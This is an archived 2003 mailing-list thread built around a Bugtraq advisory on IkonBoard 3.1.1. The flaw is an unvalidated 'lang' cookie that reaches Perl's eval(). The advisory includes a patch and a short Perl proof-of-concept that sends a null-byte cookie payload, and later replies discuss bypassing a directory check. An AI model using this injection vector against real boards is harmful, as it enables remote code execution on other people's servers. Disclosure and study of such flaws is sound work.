Sorry guys, I managed to work out a way around this and have managed to code a working POC that can execute arbitrary perl, if you want some info on the method I use, then send me an email and I'll let you know about it. -----Original Message----- From: Adam Gilmore [mailto:vulnat_private] Sent: Thursday, 3 April 2003 8:43 PM To: vuln-devat_private Subject: RE: IkonBoard v3.1.1: arbitrary command execution Hey, I can't work out any way to possibly exploit this vulnerability. To bypass the directory check, you can use the poisoned null byte, but then, you are limited to doing a require on a directory (see code) my $code = 'require '. "\"$default/" .$area. '.pm"; $lang ='. $area. '->new();'; eval $code; and obviously a require fails on a directory and causes an error, preventing the rest of the code being evalled. I honestly don't think it's possible to insert code in this situation - however if anyone can suggest other solutions, let me know. -----Original Message----- From: Nick Cleaton [mailto:nickat_private] Sent: Wednesday, 2 April 2003 2:50 AM To: bugtraqat_private Subject: IkonBoard v3.1.1: arbitrary command execution ======================================================================== ==== Vulnerable: IkonBoard 3.1.1 (and probably earlier) Category: Perl/CGI coding errors Impact: Arbitrary command execution Date: 1st April 2003 Vendor: The Jarvis Group Homepage: http://www.ikonboard.com/ Vendor Status: First notified 26th January 2003 Vendor Fix: None available Details ======= IkonBoard (http://www.ikonboard.com/) is a comprehensive web bulletin board system, implemented as a Perl/CGI script. There is a flaw in the Perl code that cleans up user input before interpolating it into a string which gets passed to Perl's eval() function, allowing an attacker to evaluate arbitrary Perl and hence run arbitrary commands. The flaw is in the code that cleans up the value of the 'lang' cookie, in sub LoadLanguage in Sources/Lib/FUNC.pm: # Make sure the cookie data is legal if ($iB::COOKIES->{$iB::INFO->{'COOKIE_ID'}.'lang'}) { $iB::COOKIES->{$iB::INFO->{'COOKIE_ID'}.'lang'} =~ s/^([\d\w]+)$/$1/; } If the cookie contains illegal characters then the s/// operation fails to match and the bad cookie value is left in place, so this code fails to do any validation. The cookie value is then interpolated into a directory name, which is in turn interpolated into a string passed to the eval function. There is a check that the directory exists, but use of the poisoned null technique allows that check to be bypassed. Suggested Fix ============= Either apply the attached patch to Sources/Lib/FUNC.pm on the web server, or make the following changes by hand: At line 104 of Sources/Lib/FUNC.pm is the code: $sid =~ s/^(\d+)$/$1/; ... change it to: $sid =~ s/^(\d+)$/$1/ or die 'bad sid cookie value'; At line 191 of Sources/Lib/FUNC.pm is the code: $iB::COOKIES->{$iB::INFO->{'COOKIE_ID'}.'lang'} =~ s/^([\d\w]+)$/$1/; ... change it to: $iB::COOKIES->{$iB::INFO->{'COOKIE_ID'}.'lang'} =~ s/^([\d\w]+)$/$1/ or die 'bad lang cookie value'; Exploit ======= The following proof of concept exploit demonstrates that the problem is exploitable by causing a syntax error in the eval(). The Perl syntax error message in the returned HTML proves that the exploit has been able to inject Perl source code into the eval. I have refrained from publishing a more functional exploit at this time, to delay attacks against IkonBoard installations. Note however that it would take only a few minutes for a reasonably knowledgeable attacker to write an exploit that runs arbitrary Perl. ----- cut here ----- #!/usr/bin/perl -w use strict; my $HOST = 'www.example.domain'; my $PATH = '/cgi-bin/ikonboard.cgi'; use IO::Socket; my $sock = IO::Socket::INET->new("$HOST:80") or die "connect: $!"; $sock->print(<<END) or die "write: $!"; GET $PATH HTTP/1.1 Host: $HOST Cookie: lang=%2E%00%22 Connection: close END print while <$sock>; ----- cut here ----- ======================================================================== ==== -- Nick Cleaton nickat_private
This archive was generated by hypermail 2b30 : Fri Apr 04 2003 - 12:54:23 PST